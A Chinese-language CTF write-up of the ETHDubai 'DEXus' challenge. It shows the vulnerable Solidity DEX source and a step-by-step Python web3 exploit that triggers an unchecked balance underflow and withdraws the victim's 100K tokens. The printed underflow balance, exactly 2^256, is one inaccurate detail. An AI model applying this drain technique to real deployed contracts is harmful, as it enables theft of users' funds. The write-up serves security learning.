危险的Unchecked——ETHDubai DEXus Writeup


前言

周末没事翻着玩,发现了一个比赛,虽然已经结束了但是环境还在,抱着试试的态度挑了一题,没想到一个多小时就做出来了hhh

题目描述

题目首先自建了一个DEX,有buy,sell,deposit,withdraw等功能,可以自行交易两种Token。

/DExus.sol

// SPDX-License-Identifier: none
pragma solidity ^0.8.17;

import "./interfaces/IDEX.sol";
import "./interfaces/IAccount.sol";
import "./libraries/ArrayLib.sol";
import "./openzeppelin-contracts/utils/EnumerableSet.sol";
import "./openzeppelin-contracts/access/Ownable.sol";
import "./openzeppelin-contracts/token/ERC20/IERC20.sol";
import "./openzeppelin-contracts/token/ERC20/SafeERC20.sol";
import "./openzeppelin-contracts/math/Math.sol";

contract DEXus is IDEX, IAccount, Ownable {
    using EnumerableSet for EnumerableSet.AddressSet;
    using ArrayLib for string[];
    using SafeERC20 for IERC20;

    EnumerableSet.AddressSet private tokens;

    mapping (string => Pair) private Pairs;
    string[] private PairsList;

    mapping (string => mapping (OrderType => Order[])) private PairOrders;
    mapping (uint => Order) private AllOrders;

    uint private last_order_id;

    // balances
    mapping (address => mapping (address => uint)) private overallBalances; // token => user => uint
    mapping (address => mapping (address => uint)) private lockedBalances; // token => user => uint

    // events
    event PairAdded(string pair);
    event PairDeleted(string pair);
    event NewBuyOrder(uint id, string pair, address user, uint amount, uint price);
    event NewSellOrder(uint id, string pair, address user, uint amount, uint price);
    event OrderCompleted(uint id, string pair, address buyer, address seller, uint amount, uint price);
    event MarketOrderRemainder(address creator, uint remained_amount, OrderType orderType);

    // modifiers
    modifier onlyCreator(Order storage order) {
        require(msg.sender == order.creator);
        _;
    }

    modifier pairExists(string calldata pair_name) {
        require(Pairs[pair_name].first_token_addr != address(0), "Pair doesn't exist");
        _;
    }

    modifier tokenExists(address token) {
        require(tokens.contains(token), "Token isn't supported");
        _;
    }

    // owner functions
    function addPair(string calldata pair_name,
                     address first_token_addr, 
                     address second_token_addr, 
                     uint price_decimals) external onlyOwner {
        require(Pairs[pair_name].first_token_addr == address(0), "Pair exists");
        tokens.add(first_token_addr);
        tokens.add(second_token_addr);
        Pair memory p = Pair({first_token_addr: first_token_addr, 
                        second_token_addr: second_token_addr,
                        price_decimals: price_decimals});
        Pairs[pair_name] = p;
        PairsList.push(pair_name);
        emit PairAdded(pair_name);
    }

    function deletePair(string calldata pair_name) external onlyOwner pairExists(pair_name) {
        Pair storage p = Pairs[pair_name];
        tokens.remove(p.first_token_addr);
        tokens.remove(p.second_token_addr);
        PairsList.remove(pair_name);
        delete PairOrders[pair_name][OrderType.BUY];
        delete PairOrders[pair_name][OrderType.SELL];
        delete Pairs[pair_name];
        emit PairDeleted(pair_name);
    }


    // view functions
    function fetchPairs() external view returns(string[] memory) {
        return PairsList;
    }

    function getPair(string calldata pair_name) external view returns(Pair memory) {
        return Pairs[pair_name];
    }

    function balanceOf(address token, address user) external view returns(uint) {
        return _countBalance(token, user);
    }

    function fetchBuyOrders(string calldata pair_name) external view returns(Order[] memory) {
        return PairOrders[pair_name][OrderType.BUY];
    }

    function fetchSellOrders(string calldata pair_name) external view returns(Order[] memory) {
        return PairOrders[pair_name][OrderType.SELL];
    }


    // user functions
    function deposit(address token, uint amount) external tokenExists(token) {
        overallBalances[token][msg.sender] += amount;
        IERC20(token).safeTransferFrom(msg.sender, address(this), amount);
    }

    function withdraw(address token, uint amount) external tokenExists(token) {
        uint unlockedBalance = _countBalance(token, msg.sender);
        require(unlockedBalance >= amount, "Insufficient unlocked balance");
        overallBalances[token][msg.sender] = unlockedBalance - amount;
        IERC20(token).safeTransfer(msg.sender, amount);
    }

    function buyOrderMarket(string calldata pair_name, uint amount) external pairExists(pair_name){
        Order[] storage orderList = PairOrders[pair_name][OrderType.SELL];
        uint ordersLength = orderList.length;
        require(ordersLength != 0, "No sell orders");

        Pair storage p = Pairs[pair_name];
        uint remainingAmount = amount;
        while (remainingAmount != 0 && ordersLength != 0) {
            Order storage o = orderList[ordersLength - 1];
            uint amount_ = Math.min(o.amount, remainingAmount);
            uint buyerPrice = (amount_ * o.price) / (10 ** p.price_decimals);
            require(_countBalance(p.second_token_addr, msg.sender) >= amount_, "Insufficient unlocked balance");

            remainingAmount -= amount_;
            overallBalances[p.first_token_addr][msg.sender] += amount_;
            overallBalances[p.second_token_addr][msg.sender] -= buyerPrice;
            
            overallBalances[p.first_token_addr][o.creator] -= amount_;
            lockedBalances[p.first_token_addr][o.creator] -= amount_;
            overallBalances[p.second_token_addr][o.creator] += buyerPrice;

            emit OrderCompleted(o.id, pair_name, msg.sender, o.creator, amount_, o.price);

            if (o.amount > amount_) {
                o.amount -= amount_;
                break;
            }
            delete AllOrders[o.id];
            orderList.pop();
            ordersLength--;
        }

        if (remainingAmount != 0) {
            emit MarketOrderRemainder(msg.sender, remainingAmount, OrderType.BUY);
        }
    }

    function buyOrderLimit(string calldata pair_name, uint amount, uint price) external pairExists(pair_name){
        Pair storage p = Pairs[pair_name];
        uint spentAmount = (amount * price) / (10 ** p.price_decimals);
        require(_countBalance(p.second_token_addr, msg.sender) >= spentAmount, "Insufficient unlocked balance");
        lockedBalances[p.second_token_addr][msg.sender] += spentAmount;
        last_order_id++;
        Order[] storage orderList = PairOrders[pair_name][OrderType.BUY];
        Order memory new_order = Order({
            id: last_order_id,
            pair_name: pair_name,
            amount: amount,
            price: price,
            creator: msg.sender,
            orderType: OrderType.BUY
        });
        orderList.push(new_order);
        AllOrders[last_order_id] = new_order;

        // gas optimization
        unchecked {
            for (uint i = orderList.length; i > 1; --i) {
                if (orderList[i-1].price > orderList[i-2].price)
                    break;
                
                // swap orders
                Order memory tmp = orderList[i-1];
                orderList[i-1] = orderList[i-2];
                orderList[i-2] = tmp;
            }
        }
        emit NewBuyOrder(last_order_id, pair_name, msg.sender, amount, price);
    }

    function sellOrderMarket(string calldata pair_name, uint amount) external pairExists(pair_name){
        Order[] storage orderList = PairOrders[pair_name][OrderType.BUY];
        uint ordersLength = orderList.length;
        require(ordersLength != 0, "No buy orders");

        Pair storage p = Pairs[pair_name];
        uint remainingAmount = amount;
        while (remainingAmount != 0 && ordersLength != 0) {
            Order storage o = orderList[ordersLength - 1];
            uint amount_ = Math.min(o.amount, remainingAmount);
            uint sellerPrice = (amount_ * o.price) / (10 ** p.price_decimals);
            require(_countBalance(p.first_token_addr, msg.sender) >= amount_, "Insufficient unlocked balance");

            remainingAmount -= amount_;
            overallBalances[p.second_token_addr][msg.sender] += sellerPrice;
            overallBalances[p.first_token_addr][msg.sender] -= amount_;
            
            overallBalances[p.second_token_addr][o.creator] -= sellerPrice;
            lockedBalances[p.second_token_addr][o.creator] -= sellerPrice;
            overallBalances[p.first_token_addr][o.creator] += amount_;

            emit OrderCompleted(o.id, pair_name, o.creator, msg.sender, amount_, o.price);

            if (o.amount > amount_) {
                o.amount -= amount_;
                break;
            }
            delete AllOrders[o.id];
            orderList.pop();
            ordersLength--;
        }

        if (remainingAmount != 0) {
            emit MarketOrderRemainder(msg.sender, remainingAmount, OrderType.SELL);
        }
    }

    function sellOrderLimit(string calldata pair_name, uint amount, uint price) external pairExists(pair_name){
        Pair storage p = Pairs[pair_name];
        require(_countBalance(p.first_token_addr, msg.sender) >= amount, "Insufficient unlocked balance");
        lockedBalances[p.first_token_addr][msg.sender] += amount;
        last_order_id++;
        Order[] storage orderList = PairOrders[pair_name][OrderType.SELL];
        Order memory new_order = Order({
            id: last_order_id,
            pair_name: pair_name,
            amount: amount,
            price: price,
            creator: msg.sender,
            orderType: OrderType.SELL
        });
        orderList.push(new_order);
        AllOrders[last_order_id] = new_order;

        // gas optimization
        unchecked {
            for (uint i = orderList.length; i > 1; --i) {
                if (orderList[i-1].price < orderList[i-2].price)
                    break;
                
                // swap orders
                Order memory tmp = orderList[i-1];
                orderList[i-1] = orderList[i-2];
                orderList[i-2] = tmp;
            }
        }
        emit NewSellOrder(last_order_id, pair_name, msg.sender, amount, price);
    }

    function deleteOrder(uint id) external {
        Order storage o = AllOrders[id];
        require(o.creator == msg.sender, "You'are not the order creator");
        Order[] storage orders = PairOrders[o.pair_name][o.orderType];

        // gas optimization
        unchecked {
            uint i;
            bool found;
            for (; i < orders.length; ++i) {
                if (orders[i].id == o.id) {
                    found = true;
                    break;
                }
            }
            if (!found) revert("Corrupt!");

            for (; i < orders.length-1; ++i) {
                Order storage tmp = orders[i];
                orders[i] = orders[i+1];
                orders[i+1] = tmp;
            }
            orders.pop();
            delete AllOrders[id];
        }
    }


    // internal
    function _countBalance(address token, address user) internal view returns(uint) {
        // gas optimization
        unchecked {
            return overallBalances[token][user] - lockedBalances[token][user];
        }
    }
}

然后给出了挑战内容,大致是这样的:

  1. 合约给了User 100K UHTK,10 DAI,给了你 10 UHTK,10 DAI
  2. User在DEX中创建了两个订单,分别是卖出 100K UHTK,和卖出 2 DAI。
  3. 你需要偷走User的100K UHTK
/setup.sol

pragma solidity ^0.8.13;

import "./DEXus.sol";
import "./mocks/ERC20Mock.sol";

contract Setup {
    DEXus public immutable TARGET;
    ERC20Mock public uhtk;
    ERC20Mock public dai;
    address public user;
    address public hacker;
    uint256 public constant USER_UHTK_BALANCE = 100000 ether;
    uint256 public constant USER_DAI_BALANCE = 10 ether;
    uint256 public constant HACKER_UHTK_BALANCE = 10 ether;
    uint256 public constant HACKER_DAI_BALANCE = 10 ether;
    
    bool inited = false;

    constructor() payable {
        TARGET = new DEXus();
        uhtk = new ERC20Mock("Unhackable Token", "UHTK");
        dai = new ERC20Mock("DAI Stablecoin", "MTK");
    }

    function prefund() public returns (uint) {
        require(!inited, "Already funded!");

        hacker = address(msg.sender);
        address user = address(this);
        uhtk.mint(user, USER_UHTK_BALANCE);
        uhtk.mint(hacker, HACKER_UHTK_BALANCE);
        dai.mint(user, USER_DAI_BALANCE);
        dai.mint(hacker, HACKER_DAI_BALANCE);

        DEXus dex = DEXus(TARGET);
        dex.addPair("UHTKDAI", address(uhtk), address(dai), 2);
        dex.addPair("DAIUHTK", address(dai), address(uhtk), 2);

        uhtk.approve(address(dex), USER_UHTK_BALANCE);
        dex.deposit(address(uhtk), USER_UHTK_BALANCE);
        dai.approve(address(dex), USER_DAI_BALANCE);
        dex.deposit(address(dai), USER_DAI_BALANCE);

        dex.sellOrderLimit("UHTKDAI", USER_UHTK_BALANCE, 50);
        dex.sellOrderLimit("DAIUHTK", 2 ether, 250);

        inited = true;
    }

    function isSolved() public view returns (bool) {
        return uhtk.balanceOf(hacker) == USER_UHTK_BALANCE;
    }
}

题目分析

乍一看合约内容非常复杂,但是期中大多数内容我们都不需要去读懂。按图索骥,既然我们需要获得大量的UHTK,只需要找出DEX中转账的函数,分析他们的漏洞。

只有withdraw函数中存在转账功能,但是通过正常的买卖手段我们显然是不能获得到那么多的UHTK的。所以我们需要找出其他的漏洞。

我们发现,在转账之前,首先检查了unlockedToken,这个数值等于deposit进入的数值,减去由于进行sell操作而lock的Token。

但是,这里这里在进行计算的具体过程中使用了unchecked关键字,这个关键字的作用是取消了overflowunderflow的检查,也就是说,虽然高于0.8.0的编译器版本已经加入了溢出检查,但这种情况下,即使我们的数值溢出了,也不会报错。

虽然在前面的函数里,在Unchecked的代码块旁注释说是gas optimization,但是实际问题便是出现在这里,是出题人迷惑大家的一个小trick。

function _countBalance(address token, address user) internal view returns(uint) {
    // gas optimization
    unchecked {
        return overallBalances[token][user] - lockedBalances[token][user];
    }
}

思路已经很明了,只需要让lockedBalances,大于overallBalances,就可以在withdraw的时候,转出大量的Token。

实现

我们发现,在buyOrderMarket函数中,只检测了_countBalance是否大于购买的amount数值,而实际应该检测是否大于buyprice的值。

首先我们通过sell操作,令overallBalances略大于lockedBalances,然后通过buy操作,令lockedBalances大于overallBalances,这样就可以在withdraw的时候,转出大量的Token。

由于buyprice是amount的2.5倍,我们选择sell 7 ethers UHTK,然后buy 2 ethers DAI,正好可以造成下溢的情况。


tx = DEX.functions.deposit(DAI_addr, 10**19).buildTransaction({
    'from': accout.address,
    'nonce': w3.eth.getTransactionCount(accout.address),
    'gas': 8000000,
    'gasPrice': w3.toWei('1', 'gwei'),
})

pendingtx(tx)

tx = DEX.functions.deposit(uhtk_addr, 10**19).buildTransaction({
    'from': accout.address,
    'nonce': w3.eth.getTransactionCount(accout.address),
    'gas': 8000000,
    'gasPrice': w3.toWei('1', 'gwei'),
})

pendingtx(tx)

tx = DEX.functions.sellOrderLimit("UHTKDAI", 7*10**18, 5).buildTransaction({
    'from': accout.address,
    'nonce': w3.eth.getTransactionCount(accout.address),
    'gas': 8000000,
    'gasPrice': w3.toWei('1', 'gwei'),
})

pendingtx(tx)

此时,我们的overallBalances10 etherslockedBalances7 ethers


tx = DEX.functions.buyOrderMarket("DAIUHTK", 2*10**18).buildTransaction({
    'from': accout.address,
    'nonce': w3.eth.getTransactionCount(accout.address),
    'gas': 8000000,
    'gasPrice': w3.toWei('1', 'gwei'),
})

pendingtx(tx)

print(DEX.functions.balanceOf(uhtk_addr,accout.address).call())
# 115792089237316195423570985008687907853269984665640564039456584007913129639936

可以看到我们的uhtk的余额已经下溢到了一个非常大的数值,这时我们通过withdraw操作,就可以转出大量的Token。

tx = DEX.functions.withdraw(uhtk_addr, 100000*10**18).buildTransaction({
    'from': accout.address,
    'nonce': w3.eth.getTransactionCount(accout.address),
    'gas': 8000000,
    'gasPrice': w3.toWei('1', 'gwei'),
})

pendingtx(tx)

得到flag
DECURITY{d3xus_1s_4w3s0m3}

总结

Unchecked的关键字虽然可以省gas,但是也带来了很大风险。在实际使用中,建议反复检查,避免出现这种情况。
尤其是在Unchecked中做大量运算时,以及用户可以控制Unchecked块的内容时,一定要小心。


文章作者: Latt1ce
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Latt1ce !
  目录